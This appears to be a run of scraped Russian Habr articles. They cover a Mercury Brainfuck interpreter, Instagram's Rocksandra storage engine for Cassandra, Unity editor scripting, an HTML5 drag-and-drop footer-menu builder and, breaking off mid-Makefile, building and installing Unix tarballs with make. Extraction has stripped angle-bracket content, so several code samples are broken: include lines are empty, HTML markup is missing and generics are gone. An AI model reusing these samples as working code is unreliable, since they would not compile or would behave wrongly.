На втором этапе (за который отвечают предикаты execute\_\*) происходит «вычисление» полученного синтаксического дерева. Каждый предикат execute\_\* принимает на вход исходное состояние ленты ячеек, изменяет его в соответствие с AST brainfuck-программы, и выдает результирующее, каковое должно быть после применения оного предиката (как мы знаем, функциональные языки терпеть не могут изменяемых структур данных).
Тут следует отметить структуру задания состояния ленты. Как известно, (правильно) выбранная структура данных определяет (оптимальный) алгоритм реализации и его сложность. В данном случае, была выбрана структура ленты определяемая двумя списками и числом: bf\_state(LeftCells, Cell, RightCells). При таком подходе увеличение и уменьшение ячейки это изменение Cell на +-1, а сдвиг влево (вправо), это перемещение головы списка из Left(Right)Cells на место Cell а самой Cell в голову Right(Left)Cells (ну и частный случай присвоения Cell=0 в случае пустого списка Left(Right)Cells).
Преимущество такого представления:
* не нужно предзаполнять список фиксированной длины (экономия памяти)
* неограниченная длина ленты (кроме ограничений, накладываемых ресурсами вычислительной машины)
Еще одно пояснение. Непонятная запись !S в mercury называется state variable и представляет собой пару переменных !.S, !:S с mode'ами in и out. Это удобно для цепного вызова предикатов с передачей параметров с выхода предыдущего на вход последующего, ну т.е. запись
`some_pred(In, Out) :- pred1(In, In1), pred2(In1, In2), pred3(In2, Out).`
эквивалентна:
`some_pred(!.S, !:S) :- pred1(!.S, !:S), pred2(!.S, !:S), pred3(!.S, !:S). % компилятор сам расставит циферки`
которая в свою очередь эквивалентна:
`some_pred(!S) :- pred1(!S), pred2(!S), pred3(!S).`
или в виде DCG нотации:
`some_pred --> pred1, pred2, pred3.`
Но подробнее об этом и других особенностях mercury в другой статье =)
|
https://habr.com/ru/post/113099/
| null |
ru
| null |
# Open-source решение для десятикратного снижения задержек чтения данных с Apache Cassandra
В Instagram развернута одна из крупнейших в мире БД Apache Cassandra. Проект начал использовать Cassandra в 2012 году с целью замены Redis и поддержки внедрения таких функций приложения как система распознания мошенничества, Лента и Директ. Сначала кластеры Cassandra работали в среде AWS, но позже инженеры мигрировали их в инфраструктуру Facebook вместе со всеми остальными системами Instagram. Cassandra показала себя очень хорошо с точки зрения надежности и отказоустойчивости. В то же время метрики задержки при чтении данных явно можно было улучшить.
В прошлом году команда поддержки Cassandra в Instagram начала работать над проектом, направленным на существенное снижение задержки чтения данных в Cassandra, который инженеры назвали Rocksandra. В этом материале автор рассказывает, что сподвигло команду на реализацию этого проекта, сложности, которые пришлось преодолеть, и метрики производительности, которыми инженеры пользуются как во внутренней, так и во внешней облачных средах.
### Основания для перехода
Instagram активно и широко использует Apache Cassandra в качестве сервиса хранения типа «ключ-значение». Большинство запросов Instagram происходят онлайн, поэтому для предоставления надежного и приятного пользовательского опыта для сотен миллионов пользователей Instagram, SLA очень требовательны к показателям работы системы.
Instagram придерживается показателя надежности «пять девяток». Это означает, что количество отказов в любой момент времени не может превышать 0.001%. В целях улучшения производительности инженеры активно наблюдают за пропускной способностью и задержками различных кластеров Cassandra, и следят за тем, чтобы 99% всех запросов укладывались в определенный показатель (задержка P99).
Ниже приведен график, демонстрирующий задержку на стороне клиентов одного для одного из боевых кластеров Cassandra. Голубым цветом обозначена средняя скорость чтения (5 мс), а оранжевым — скорость чтения для 99%, варьирующаяся в пределах 25-60 мс. Ее изменения сильно зависят от клиентского трафика.
[](https://habrastorage.org/webt/hh/w0/qq/hhw0qq_z9ce4zqkys5m8irabeja.png)
[](https://habrastorage.org/webt/h3/bs/oz/h3bsoz7oxelnn-sm9xse1wcn4u4.png)
Исследование выявило, что резкие всплески задержки во многом обусловлены работой сборщика мусора JVM. Инженеры ввели метрику под названием «процент остановок СМ» для измерения процентного количества времени, которое уходило на «остановку мира» сервером Cassandra, и сопровождалось отказом в обслуживании запросов клиентов. Здесь же выше приведен график, показывающий количество времени (в процентах), которое уходило на остановки СМ на примере одного из боевых серверов Cassandra. Показатель варьировался в диапазоне от 1.25% в моменты самого малого трафика до 2.5% в моменты пиковой нагрузки.
График показывает, что этот инстанс сервера Cassandra мог тратить 2.5% рабочего времени на сбор мусора вместо обслуживания запросов клиентов. Профилактические операции сборщика, очевидно, оказывали значительное влияние на задержку P99, и потому стало ясно, что если нам удастся снизить показатель остановок CM, то инженеры смогли бы существенно снизить и показатель задержки P99.
### Решение
Apache Cassandra — это написанная на Java распределенная база данных, с собственным движком хранения данных на основе LSM-деревьев. Инженеры обнаружили, что такие компоненты движка как таблица памяти, инструмент сжатия, пути чтения/записи, и некоторые другие создавали много объектов в динамической памяти Java, что приводило к тому, что JVM приходилось выполнять множество дополнительных служебных операций. Для снижения влияния механизмов хранения на работу сборщика мусора, команда поддержки рассмотрела различные подходы и в конечном счете решила разработать движок на C++, и заменить им существующий аналог.
Делать все с нуля инженеры не хотели, и поэтому решили взять за основу RocksDB.
RocksDB — это высокопроизводительная встраиваемая БД с открытым исходным кодом для хранения типа «ключ-значение». Она написана на C++, а в ее API есть официальные языковые привязки для C++, C, и Java. RocksDB оптимизирована для получения высокой производительности, особенно на быстрых накопителях, таких, как SSD. Она широко используется в отрасли в качестве движка хранения для MySQL, mongoDB, и других популярных БД.
### Трудности
В процессе реализации нового движка хранения на RocksDB инженеры столкнулись с тремя сложными задачами и решили их.
Первая сложность заключалась в том, что в Cassandra все еще отсутствует архитектура, позволяющая подключить сторонние обработчики данных. Это значит, что работа существующего движка довольно тесно взаимосвязана с другими компонентами БД. Чтобы найти баланс между масштабным рефакторингом и быстрыми итерациями инженеры определили API нового движка, включая самые распространенные интерфейсы чтения, записи и потоков. Таким образом команда поддержки смогла реализовать новые механизмы обработки данных за API и вставить их в соответствующие пути выполнения кода внутри Cassandra.
Вторая сложность была в том, что Cassandra поддерживает структурированные типы данных и схемы таблиц, в то время как RocksDB предоставляет только интерфейсы типа ключ-значение. Инженеры тщательно определили алгоритмы кодирования и декодирования для поддержки модели данных Cassandra в рамках структур данных RocksDB и обеспечили преемственность семантики аналогичных запросов между двумя БД.
Третья сложность была связана с таким важным для любой распределенной БД компонентом, как работа с потоками данных. Всякий раз, при добавлении или удалении узла из кластера Cassandra, ей необходимо правильно распределять данные между различными узлами для балансировки нагрузки внутри кластера. Существующие реализации этих механизмов основывались на получении подробных данных от существующего движка БД. Поэтому инженерам пришлось отделить их друг от друга, создать слой абстракции и реализовать новый вариант обработки потоков с помощью API RocksDB. Для получения высокой пропускной способности потоков, команда поддержки теперь сначала распределяет данные по временным sst-файлам, а после использует специальный API RocksDB для «заглатывания» файлов, позволяющий производить их массовую одновременную загрузку в инстанс RocksDB.
### Показатели производительности
Спустя почти год разработки и тестирования, инженеры завершили первую версию реализации и успешно «раскатали» ее на нескольких боевых Cassandra-кластерах Instagram. На одном из боевых кластеров, задержка P99 упала с 60 мс до 20 мс. Наблюдения также показали, что остановки СМ в этом кластере упали с 2.5% до 0.3%, то есть почти в 10 раз!
Инженеры также хотели проверить, сможет ли Rocksandra показать хорошие результаты в общедоступной облачной среде. Команда поддержки настроила кластер Cassandra в среде AWS с использованием трех i3.8 xlarge EC2 инстансов, каждый с 32-ядерным процессором, 244 Гбайт оперативной памяти, и нулевым рейдом из четырех NVMe флеш-накопителей.
Для сравнительных тестов воспользовались [NDBench](https://github.com/Netflix/ndbench), и дефолтной для фреймворка схемой таблицы.
```
TABLE emp (
emp_uname text PRIMARY KEY,
emp_dept text,
emp_first text,
emp_last text
)
```
Инженеры выполнили предварительную загрузку 250 млн 6 строк размером 6 Кбайт каждая (на каждом сервере хранится около 500 Гбайт данных). Далее настроили 128 читателей и писателей в NDBench.
Команда поддержки протестировала различные нагрузки и измерила средние/P99/P999 задержки на чтение и запись. На приведенных ниже графиках видно, что Rocksandra показала существенно более низкие и более стабильные показатели задержки на чтение и запись.
Инженеры также проверили нагрузку в режиме чтения без записи и обнаружили, что при одинаковой задержке P99 на чтение (2 мс), Rocksandra способна обеспечить более чем 10-кратное увеличение скорости чтения информации (300 К/c у Rocksandra против 30 К/с у C\* 3.0).
### Планы на будущее
Команда поддержки Instagram открыла код [Rocksandra](https://github.com/Instagram/cassandra/tree/rocks_3.0) и [фреймворка для оценки производительности](https://github.com/Instagram/cassandra-aws-benchmark). Вы можете скачать их с Github и попробовать в собственной среде. Обязательно расскажите, что из этого вышло!
В качестве следующего шага команда активно работает над добавлением более широкой поддержки функциональности C\*, такой как вторичные индексы, починка и другое. А кроме того инженеры разрабатывают [архитектуру подключаемого движка БД на C\*](https://issues.apache.org/jira/browse/CASSANDRA-13474), чтобы в дальнейшем передать эти наработки сообществу Apache Cassandra.
[](https://wirexapp.com/ru/)
|
https://habr.com/ru/post/410985/
| null |
ru
| null |
# Скрипты для редактора в Unity3D
Сегодня поговорим о том, как писать скрипты для Unity Editor. Статья рассчитана на тех, кто уже знаком с Unity3D, что-то успел сделать, но еще не решился попробовать писать скрипты для эдитора.
Если коротко — то в режиме эдитора скриптами можно сделать абсолютно всё тоже самое, что и в режиме игры.
Начнем с простого. Допустим, мы хотим в режиме эдитора создать 10 кубиков и расположить их в линию. Для начала давайте упростим задачу и забудем про эдитор, давайте сделаем так, чтобы эти кубики создавались при старте приложения.
```
public class CreateCubes : MonoBehaviour {
// Use this for initialization
void Start ()
{
Create10Cubes();
}
private void Create10Cubes()
{
Vector3 position = new Vector3(0, 0, 0);
for (int i = 0; i < 10; i++)
{
GameObject cube = GameObject.CreatePrimitive(PrimitiveType.Cube);
cube.transform.position = position;
position += new Vector3(5, 0, 0);
}
}
}
```
Теперь попробуем выполнить этот код в режиме эдитора, для этого нужно к коду добавить всего лишь один волшебный атрибут [ContextMenu()] к функции Create10Cubes():
так чтобы код выглядел вот так:
```
[ContextMenu("CreateCubes")]
private void Create10Cubes()
{
Vector3 position = new Vector3(0, 0, 0);
for (int i = 0; i < 10; i++)
{
GameObject cube = GameObject.CreatePrimitive(PrimitiveType.Cube);
cube.transform.position = position;
position += new Vector3(5, 0, 0);
}
}
```
Теперь, если мы нажмем правой кнопкой по заголовку скрипта, там появится пункт CreateCubes, при нажатии на который функция точно также будет выполнена.
Важное замечание: функция, помеченная атрибутом ContextMenu, не должна иметь параметров, вернее, если у нее будут параметры, вы не сможете вызвать таким способом.
Лично я применяю такой способ, когда нужно что-то сделать с группой объектов, например, выключить отбрасывание теней у всех детей объекта, у которых в названии встречается «withoutshadow»:
```
[ContextMenu("DisableCastShadows")]
private void DisabeCastShadows()
{
Renderer[] renderers = GetComponentsInChildren()
.Where(x => x.name.Contains("withoutshadow"))
.ToArray();
foreach (var r in renderers)
{
r.castShadows = false;
}
}
```
Вобщем способ хорош для одноразовых действий над кучей объектов — быстренько накидали нужный код в отдельном классе, кинули на нужный объект и тут же удалили этот класс к едрене фене.
Теперь давайте решим следующую задачу: мы хотим запечь occlusion culling. Для этого нам необходимо пометить галочкой Occluder Static все объекты, которые бубдут загораживать другие объекты, и галочкой Occludee Static все, которые будут скрываться за Occluder`ами. То есть нам нужно вычленить все статичные объекты, непрозрачным объкетам поставить обе галки (на самом деле все), прозрачным — только Occludee, а Occluder выключить.
Казалось бы, ну что такого, пробежался по сцене ручками — расставил кому нужно галочки — и все. Но проблема в том, что объектов в сцене может быть много и в процессе развития проекта сцена скорее всего будет меняться. Следить самому за всеми этими галочками — с ума можно сойти. Поэтому мы напишем маленький скриптик, который делает это за нас.
Для начала напишем полезный код, который выполняет нашу работу, а далее оформим это в отдельный виззард:
Задачи здесь две:
1) Найти интересующие нас объекты в сцене;
2) Расставить нужные галочки.
Оформим код в виде отдельной команды, для того чтобы его можно было вызывать из любого места и он не зависел от того, в каком виззарде он будет вызываться. Внимание: файл, содержащий следующий код, необходимо поместить в папку под названием Editor, это нужно для того, чтобы этот код не попал в основной билд:
```
using UnityEngine;
using UnityEditor;
using System.Linq;
public class SetStaticOclluderFlagsCmd
{
private const int TransparentQueue = 3000;
const int OverlayQueue = 4000;
public void Execute()
{
var scene =Object.FindObjectsOfType(typeof(GameObject));
var transparents = scene.Where(o =>IsStatic(o) && IsTransparent(o)).ToArray();
var occluders = scene.Where(o => IsStatic(o) && !IsTransparent(o)).ToArray();
SceneModeUtility.SetStaticFlags(transparents, (int)StaticEditorFlags.OccluderStatic, false);
SceneModeUtility.SetStaticFlags(transparents, (int)StaticEditorFlags.OccludeeStatic, true);
SceneModeUtility.SetStaticFlags(occluders, (int)StaticEditorFlags.OccluderStatic, true);
SceneModeUtility.SetStaticFlags(occluders, (int)StaticEditorFlags.OccludeeStatic, true);
Debug.Log("SetStaticOclluderFlagsCmd done");
}
private bool IsStatic(Object obj)
{
GameObject gameObject = obj as GameObject;
if (gameObject == null)
return false;
return GameObjectUtility.AreStaticEditorFlagsSet(gameObject, StaticEditorFlags.BatchingStatic);
}
private bool IsTransparent(Object obj)
{
GameObject gameObject = obj as GameObject;
if (gameObject == null ||gameObject.renderer == null)
return false;
return obj.renderer.sharedMaterials.Any(x => x.renderQueue >= TransparentQueue && x.renderQueue < OverlayQueue);;
}
}
```
Здесь мы предполагаем, что статичные объекты уже до этого каким то образом нашли (скорее всего ручками) и отметили их галочкой Static, а значит, в том числе и BatchingStatic.
**По поводу реализации метода IsTransparent().**Я не силен в написании шейдеров и не могу гарантировать, что такая реализация корректна, могу сказать только что на стандартных шейдерах работает. Если кто подскажет более корректый способ реализации я обязательно его заменю
Теперь давайте оформим отдельный виззард, чтобы можно было удобно вызывать эту команду:
Тут нам пригодится класс EditorWindow.
```
using UnityEngine;
using UnityEditor;
public class OcclusionCullingUtilites : EditorWindow
{
[MenuItem("Window/OcclusionCullingUtilites")]
static void Init()
{
GetWindow();
}
void OnGUI()
{
if(GUILayout.Button("SetStaticFlags"))
{
SetStaticOclluderFlagsCmd cmd = new SetStaticOclluderFlagsCmd();
cmd.Execute();
}
}
}
```
На этом пока закончим наш обзор, он получился далеко не полным.
В следующих статьях я планирую описать, как можно создавать кастомные инспекторы для ваших классов, как вмешиваться в процесс импорта ассетов, как можно поставить запекать тени на 20-ти уровнях по очереди и получить скриншоты с результатом себе на почту.
|
https://habr.com/ru/post/236451/
| null |
ru
| null |
# Разрабатываем нижнее меню на HTML5
Поговорим про нижнюю навигацию сайтов. Я уверен, что вы видели её много раз (на различных сайтах). Как правило, это три-четыре колонны меню с различными ссылками. Сегодня я хотел бы показать вам, разработку, которую можно использовать для создания, нижнего меню. Главная цель этой разработки – приготовить статический код HTML (как кэш-файл) для встраивания в нижнюю часть сайта. Если вы заинтересованы в такой теме, то я расскажу вам о создании хорошего, удобного меню. Это руководство разделено на 2 части, сегодня я расскажу вам о первой части: пользовательский интерфейс с возможностью перетаскивания блоков.
Для начала, советую вам загрузить исходные файлы и запустить демо в новой вкладке для лучшего понимания.
[ДЕМО](http://siteacademy.ru/demo/example270/index.html)
[Исходные файлы](http://siteacademy.ru/demo/example270/example270.zip)
Итак, давайте приступим к разработке
#### Шаг 1. HTML
**intex.html**
```
Actions:
Preview
Add Column
Columns (with active elements)
![]()
![]()
![]()
All (inactive) elements. You can drag these elements into columns.
Link 1
Link 2
Link 3
Link 4
Link 5
Link 6
Link 7
Link 8
Link 9
Link 10
Link 11
Link 12
```
Имеются три основные части: блок с действиями, блок с активными колонками и блок с неактивными элементами. Все элементы можно перетаскивать между колонками. Также мы можем добавлять и удалять наши колонны.
#### Шаг 2. CSS
Теперь пришло время добавить стиль к нашему меню
```
/* menu builder styles */
.actions {
border: 1px solid #CCCCCC;
font-size: 24px;
margin: 20px auto 5px;
overflow: hidden;
padding: 10px;
width: 900px;
/* CSS3 Box sizing property */
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
-o-box-sizing: border-box;
box-sizing: border-box;
}
.actions button {
cursor: pointer;
font-size: 20px;
padding: 5px;
}
.actions #add_col {
float: right;
}
.inactive {
border: 1px dashed #ccc;
margin: 0 auto;
width: 900px;
}
.inactive a {
border-color: #FFFFFF;
border-style: solid;
border-width: 8px 8px 20px;
cursor: pointer;
display: inline-block;
font-size: 20px;
height: 20px;
margin: 10px;
opacity: 1;
position: relative;
text-align: center;
width: 180px;
-khtml-user-drag: element;
/* CSS3 Prevent selections */
-moz-user-select: none;
-webkit-user-select: none;
-khtml-user-select: none;
user-select: none;
/* CSS3 Box Shadow */
-webkit-box-shadow: 2px 2px 4px #444;
-o-box-shadow: 2px 2px 4px #444;
box-shadow: 2px 2px 4px #444;
}
.inactive a.hidden {
height: 0;
margin: 0;
opacity: 0;
width: 0;
}
.columns {
margin: 0 auto;
overflow: hidden;
width: 900px;
}
.column {
border: 2px dashed #ccc;
float: left;
min-height: 100px;
padding: 10px;
position: relative;
width: 33.3%;
/* CSS3 Box sizing property */
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
-o-box-sizing: border-box;
box-sizing: border-box;
}
.column a {
border-color: #FFFFFF;
border-style: solid;
border-width: 4px 4px 10px;
cursor: pointer;
display: block;
font-size: 16px;
height: 30px;
margin-bottom: 15px;
opacity: 1;
position: relative;
text-align: center;
-khtml-user-drag: element;
-webkit-user-drag: element;
/* CSS3 Prevent selections */
-moz-user-select: none;
-webkit-user-select: none;
-khtml-user-select: none;
user-select: none;
/* CSS3 Box Shadow */
-webkit-box-shadow: 2px 2px 4px #444;
-o-box-shadow: 2px 2px 4px #444;
box-shadow: 2px 2px 4px #444;
/* CSS3 Box sizing property */
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
-o-box-sizing: border-box;
box-sizing: border-box;
}
.column img {
cursor: pointer;
position: absolute;
right: 2px;
top: 2px;
z-index: 5;
}
```
#### Шаг 3. JS
**js/main.js**
```
// add event handler realization
var addEvent = (function () {
if (document.addEventListener) {
return function (el, type, fn) {
if (el && el.nodeName || el === window) {
el.addEventListener(type, fn, false);
} else if (el && el.length) {
for (var i = 0; i < el.length; i++) {
addEvent(el[i], type, fn);
}
}
};
} else {
return function (el, type, fn) {
if (el && el.nodeName || el === window) {
el.attachEvent('on' + type, function () {
return fn.call(el, window.event); });
} else if (el && el.length) {
for (var i = 0; i < el.length; i++) {
addEvent(el[i], type, fn);
}
}
};
}
})();
// update handlers for draggable objects
function updateHandlerDrag() {
var dragItems = document.querySelectorAll('[draggable=true]');
for (var i = 0; i < dragItems.length; i++) {
// dragstart event handler
addEvent(dragItems[i], 'dragstart', function (event) {
event.dataTransfer.setData('obj_id', this.id);
return false;
});
}
}
// update handlers for droppable objects
function updateHandlerDrop() {
var dropAreas = document.querySelectorAll('[droppable=true]');
// dragover event handler
addEvent(dropAreas, 'dragover', function (event) {
if (event.preventDefault) event.preventDefault();
this.style.borderColor = "#000";
return false;
});
// dragleave event handler
addEvent(dropAreas, 'dragleave', function (event) {
if (event.preventDefault) event.preventDefault();
this.style.borderColor = "#ccc";
return false;
});
// dragenter event handler
addEvent(dropAreas, 'dragenter', function (event) {
if (event.preventDefault) event.preventDefault();
return false;
});
// drop event handler
addEvent(dropAreas, 'drop', function (event) {
if (event.preventDefault) event.preventDefault();
// get dropped object
var iObj = event.dataTransfer.getData('obj_id');
var oldObj = document.getElementById(iObj);
// get inner text
var linkText = oldObj.innerHTML;
oldObj.className += 'hidden';
// remove object from DOM
oldObj.parentNode.removeChild(oldObj);
// add similar object in another place
this.innerHTML += ''+linkText+'';
// and update event handlers
updateHandlerDrag();
this.style.borderColor = "#ccc";
return false;
});
}
// add column button
var addColBtn = document.querySelectorAll('#add_col');
addEvent(addColBtn, 'click', function (event) {
if (event.preventDefault) event.preventDefault();
// recalculate widths for columns
var oCols = document.querySelector('div.columns');
var iChilds = oCols.childElementCount + 1;
var dWidth = 100 / iChilds;
// add single column
oCols.innerHTML += '![]()';
// set new widths
for (var i = 0; i < iChilds; i++) {
oCols.children[i].style.width = dWidth + '%';
}
// update handlers
updateHandlerDrop();
return false;
});
// remove columns
function removeColumn(obj) {
var oParent = obj.parentNode;
// move object to inactive area
var oInactive = document.querySelector('div.inactive');
for (var i = 0; i < oParent.childNodes.length; i++) {
if (oParent.childNodes[i].nodeType == document.ELEMENT_NODE && oParent.childNodes[i].tagName == 'A') {
oInactive.innerHTML += ''+oParent.childNodes[i].innerHTML+'';
}
}
// remove column
oParent.parentElement.removeChild(oParent);
// recalculate widths for columns
var oCols = document.querySelector('div.columns');
var iChilds = oCols.childElementCount;
var dWidth = 100 / iChilds;
// set new widths
for (var i = 0; i < iChilds; i++) {
oCols.children[i].id = 'drop_' + (i + 1);
oCols.children[i].style.width = dWidth + '%';
}
// update handlers
updateHandlerDrop();
updateHandlerDrag();
}
// update handlers
updateHandlerDrag();
updateHandlerDrop();
```
Здесь мы использовали много обработчиков событий. В начале, скрипта обновляем различные обработчики для всех перетаскивании и dropable объектов. При перемещении между блоками (с нижней области), мы должны воссоздать объекты в верхней области и обновить обработчики событий. В случае, когда нам нужно удалить колонку, мы должны передвинуть объект назад в нижнюю неактивную область, в которой содержится список всех возможных элементов.
#### Заключение
Вот и все, сегодня мы реализовали первую половину нашей постройки меню с функциями перетаскивания. Надеюсь, что наше руководство помогло вам. Не стесняйтесь поделиться своими знаниями с друзьями. Удачи!
[ДЕМО](http://siteacademy.ru/demo/example270/index.html)
[Исходные файлы](http://siteacademy.ru/demo/example270/example270.zip)
**UPD:** Так как эта статья получила много негативных мнений, продолжение публиковаться на хабре не будет, но если кому то интересно то можете прочитать его [здесь](http://siteacademy.ru/index.php/html/49-bottom-menu-builder-html5-part-2)
|
https://habr.com/ru/post/143944/
| null |
ru
| null |
# Как создавать, собирать, устанавливать и использовать пакеты с программами и библиотеками для UNIX-подобных систем
Речь пойдёт о программах и библиотеках для UNIX-подобных систем, распространяемых в виде исходного кода (в том числе в виде тарболлов), написанных обычно на C и C++ (хотя этот же порядок работы может применяться к софту на любом языке). Многие вещи в этой статье написаны применительно конкретно к GNU/Linux, хотя многое из статьи может быть обобщено и на другие UNIX-подобные ОС.
Под словом «пакет» я понимаю в этой статье пакет с исходными текстами, причём не пакет конкретного дистрибутива GNU/Linux, а просто пакет, исходящий от оригинальных авторов софта (**UPD** от 2017-02-09: кроме тех случаев, где из контекста ясно, что слово «пакет» употреблено в другом смысле).
В этой статье я разберу следующие вопросы:
* Вот скачал программу или библиотеку. Как её собрать и установить? Как воспользоваться библиотекой?
* Что такое префикс (prefix) установки? В чём разница между сборкой и установкой? Куда обычно устанавливают программы?
Я разберу только совсем базовые вещи. Те, которые типичные участники сообщества свободного ПО, программирующие на C и C++ под UNIX-подобные системы, обычно уже знают. Как создавать тарболлы (на примере «голого» make) и как устанавливать чужие тарболлы. Advanced советы по созданию «хороших» пакетов я не дам. «Продвинутые» вещи читайте в документации систем сборки, в замечательной статье [«Upstream guide» от Debian](https://wiki.debian.org/UpstreamGuide) (в её конце есть ещё куча ссылок о создании «хороших» пакетов). Многое в этой статье можно было сделать по-другому, моя цель: дать хотя бы один способ, не пытаться объять необъятное.
Предупрежу: начало будет совсем простым, но ближе к концу будет всё поинтереснее.
И ещё одно предупреждение. Я написал эту статью наскоро для одного человека. А после написания подумал, мол, раз уж написал, выложу уж на Хабр, чтоб не пропала. Поэтому в статье есть недочёты типа нечёткого структурирования статьи, фраз типа "*не осуществляет сама инклудивание*" и пр. Я это исправлять не буду. Может когда-нибудь в следующей жизни, когда руки дойдут. Выбор был между тем, чтобы публиковать так или не публиковать вовсе.
**Итак, начнём мы с того, что создадим пакет с программой Hello, world.** Для начала определимся с системой сборки.
Собственно, сама сборка пакета обычно осуществляется с помощью программы make (хотя это не единственный путь). Конфиг для make обычно лежит в файле под названием Makefile.
Есть несколько вариантов: просто использовать make либо использовать совместно с make некую высокоуровневую систему сборки (обычно autotools или cmake), которая будет, собственно, генерировать конфиги для make.
Мы в нашем примере будет использовать только make для простоты. Итак, создаём hello.c:
```
#include
int
main (void)
{
printf ("Hello, world!\n");
return 0;
}
```
Теперь Makefile:
Внимание! Работает на GNU/Linux. Работа под macOS не гарантируется! Этот Makefile не является портируемым вообще на все UNIX-подобные системы! Подробнее будет дальше.
<------> здесь означает символ табуляции.
```
PREFIX=/usr/local
CC=cc
CFLAGS=
all: hello
hello: hello.c
<------>$(CC) $(CFLAGS) -o hello hello.c
install: all
<------>mkdir -p $(PREFIX)/bin
<------>install hello $(PREFIX)/bin/
```
Это далеко не единственный способ написать этот Makefile. Вообще, цель всей моей статьи — дать некую базу. Что ещё можно в этом Makefile изменить, вы можете потом узнать из других источников.
Также в этой статье я предполагаю, что вы знаете уж совсем базовые вещи про make. Я имею в виду, что вы знаете, что Makefile — это описание дерева зависимостей, и что он нужен, чтобы собрать ровно те файлы, которые нуждаются в сборке. В этой статье я расскажу про использование make при создании пакетов, про «виртуальные» цели make такие как install и all. Ещё я предполагаю, что вы уже знаете совсем базовые вещи про то, как запускать компилятор из командной строки, т. е. вы знаете, что такое `cc -o hello hello.c`.
Итак, теперь давайте разбирать наш Makefile.
Для начала скажу следующее. Допустим, пользователь скачал пакет. Ему нужно сперва собрать его, т. е. получить бинарники в каталоге с самим пакетом (либо в случае out of tree build получить их в неком другом каталоге, что не меняет сути), а затем установить, т. е. скопировать полученные бинарники в место их окончательного хранения в системе.
То есть смотрите. Вы залогинены под юзером user. Ваш домашний каталог /home/user. Вы скачали пакет, распаковали его, скажем в /home/user/Desktop/foo. Далее вы его собрали. Собрали в этой же папке, /home/user/Desktop/foo. Либо, если речь идёт об out of tree build, вы создали ещё одну папку /home/user/Desktop/foo-build и собрали в ней. Теперь, после сборки вы решаете установить её в /usr/local. Вот тут уже вам нужны права root. Вы при помощи sudo устанавливаете эту программу в /usr/local.
Пара слов о размещении каталогов в системе. Разберу лишь некоторые каталоги. Более подробную информацию можно найти в Filesystem Hierarchy Standard (поддержан многими дистрибутивами GNU/Linux) и по команде «man 7 hier» в GNU/Linux и, возможно, других ОС. Во всяком случае я расскажу, как они были устроены, скажем, лет пять назад (т. е. где-то в 2012-м году), всякие новые веяния типа недавнего нововведения в Fedora [«давайте-ка мы всё переместим в /usr»](https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/) я рассматривать не буду.
* /bin — это бинарники (т. е. испоняемые файлы), важные для работы системы на ранних стадиях загрузки.
* /sbin — это то же самое с тем отличием, что эти бинарники обычно может запускать только root.
* /lib — бинарные файлы библиотек, нужные для программ из /bin и /sbin
* /usr — «вторая иерархия файлов», т. е. это как бы «ещё один /»
* /usr/bin — то же, что /bin, но на этот раз это бинарники, некритичные для загрузки
* /usr/sbin — то же, что /sbin, но опять-таки, некритичные для загрузки
* /usr/lib — бинарные файлы библиотек, которые не нужны для программ из /bin и /sbin
* /usr/include — хедеры библиотек
* /usr/local — «третья иерархия файлов», она опять содержит /usr/local/bin, /usr/local/sbin, /usr/local/lib и /usr/local/include, на этот раз эти каталоги предназначены для «локального администратора». Что это значит? Это значит, что (в случае дистрибутивов GNU/Linux с пакетным менеджером) каталоги, о которых речь шла до этого, находятся под контролем пакетного менеджера. А вот каталоги внутри /usr/local находятся в распоряжении «локального администратора», т. е. вас. Если вы хотите поставить что-то из сорцов, в обход менеджера пакетов, то можно поставить туда.
Теперь по поводу prefix. Когда вы устанавливаете какой-нибудь пакет, вы должны указать ему так называемый prefix, т. е. каталог, в который всё будет установлено. В этом каталоге будет создан подкаталог bin, в него будет установлены бинарники, будет создан подкаталог lib, туда будут установлены бинарные файлы библиотек, и т. д.
То есть, например, вы устанавливаете пакет, указывая ему prefix /usr/local. Тогда бинарники пойдут в /usr/local/bin, бинарные файлы библиотек — в /usr/local/lib и так далее.
Теперь вернусь к разбору Makefile. PREFIX — это и есть тот prefix, про который я сейчас говорил. В качестве дефолтного префикса (пользователь сможет его переопределить) у нас указан /usr/local — хороший дефолтный выбор. Обычно его всегда указывают в качестве дефолтного префикса при создании пакетов (к сожалению, некоторые пакеты этого всё же не делают, дальше будет подробнее). Далее идёт CC. Это стандартное название для переменной make, в которую кладут компилятор, в данном случае cc. cc — это в свою очередь обычно используемая команда для запуска компилятора по умолчанию в данной системе. Это может быть gcc или clang. На некоторых системах команда cc может отсутствовать. CFLAGS — стандартное название для переменной с флагами компиляции.
Если просто набрать make, то будет выполнена та цель, которая идёт в Makefile первой. Обычная практика в том, чтобы называть её all. И такая цель обычно собирает весь проект, но ничего не устанавливает. Эта цель обычно «виртуальная», т. е. у нас нет файла под названием all. Т. к. наша задача собрать лишь один бинарник hello, то мы просто делаем all зависящим от hello. Далее идёт описание цели сборки hello. Его можно было в принципе разбить на два этапа: сборка hello.o из hello.c и сборка hello из hello.o. Я так делать не стал для простоты.
Далее идёт install, установка. Это тоже виртуальная цель. Она зависит от all. Это сделано на случай, если пользователь сразу наберёт «make install», без «make». В этой цели мы сперва создаём папку, куда будем устанавливать, т. е. как и следовало ожидать, $(PREFIX)/bin, а затем устанавливаем в неё утилитой install.
Что делает install? Это почти то же, что и cp. Точные отличия я и сам не знаю. Для установки программ нужно использовать install, а не cp.
Бинарник устанавливается в $(PREFIX)/bin, потому что именно так и нужно делать. Бинарники идут в подкаталог bin в prefix, бинарные файлы библиотек — в lib в PREFIX и т. д.
Здесь я предполагаю, что у вас на системе установлен так называемый BSD install. В GNU/Linux'е он есть. В некоторых системах его может не быть. Может быть какой-нибудь другой install, который в этой ситуации не сработает. Именно это я имел в виду, когда сказал, что работа в разных ОС не гарантируется.
Здесь я не рассматривал DESTDIR, который, между прочим, крайне рекомендуется использовать в Makefile. Я даже не рассматривал цель clean.
Окей, давайте теперь создадим окончательный тарболл, так называют файл с расширением .tar.gz, .tar.xz и так далее. Поместите файлы hello.c и Makefile в папку hello-1.0 (принято указывать номер версии при создании тарболла). Затем установите в качестве текущего каталога тот, который содержит hello-1.0 и наберите, например:
```
tar --xz -cf hello-1.0.tar.xz hello-1.0
```
Это создаст архив, внутри которого есть каталог hello-1.0, который содержит hello.c и Makefile. Таков способ распространения пакетов.
**C++-вариант пакета.** Исходник будет тем же, его нужно будет назвать hello.cpp. Makefile будет таким:
```
PREFIX=/usr/local
